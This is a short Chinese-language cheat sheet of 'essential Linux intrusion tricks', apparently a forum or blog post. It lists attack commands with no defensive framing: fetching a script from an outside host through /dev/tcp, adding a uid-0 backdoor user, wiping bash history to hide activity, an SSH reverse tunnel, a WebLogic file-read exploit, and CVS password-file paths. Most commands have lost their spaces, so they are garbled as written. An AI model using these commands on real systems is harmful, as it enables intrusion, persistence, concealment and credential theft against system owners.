linux入侵必备的技巧

1.无wgetnc等下载工具时下载文件

exec5<>/dev/tcp/yese.yi.org/80&&echo-e&quot;GET/c.plHTTP/1.0\n&quot;>&5&&cat<&5>c.pl
&nbsp;
2.Linux添加uid为0的用户

useradd-o-u0cnbird
&nbsp;
3.bash去掉history记录

exportHISTSIZE=0

exportHISTFILE=/dev/null
&nbsp;
4.SSH反向链接

ssh-C-f-N-g-R44:127.0.0.1:22cnbird@ip-p指定远端服务器SSH端口

然后服务器上执行sshlocalhost-p44即可
&nbsp;
5.weblogic本地读取文件漏洞

curl-H&quot;wl_request_type:wl_xml_entity_request&quot;-H&quot;xml-registryname:../../&quot;-H&quot;xml-entity-path:config.xml&quot;http://server/wl_management_internal2/wl_management
&nbsp;
6.apache查看虚拟web目录

./httpd-t-DDUMP_VHOSTS
&nbsp;
7.cvs渗透技巧

CVSROOT/passwdUNIXSHA1的密码文件

CVSROOT/readers

CVSROOT/writers

CVS/Root

CVS/Entries更新的文件和目录内容

CVS/Repository


*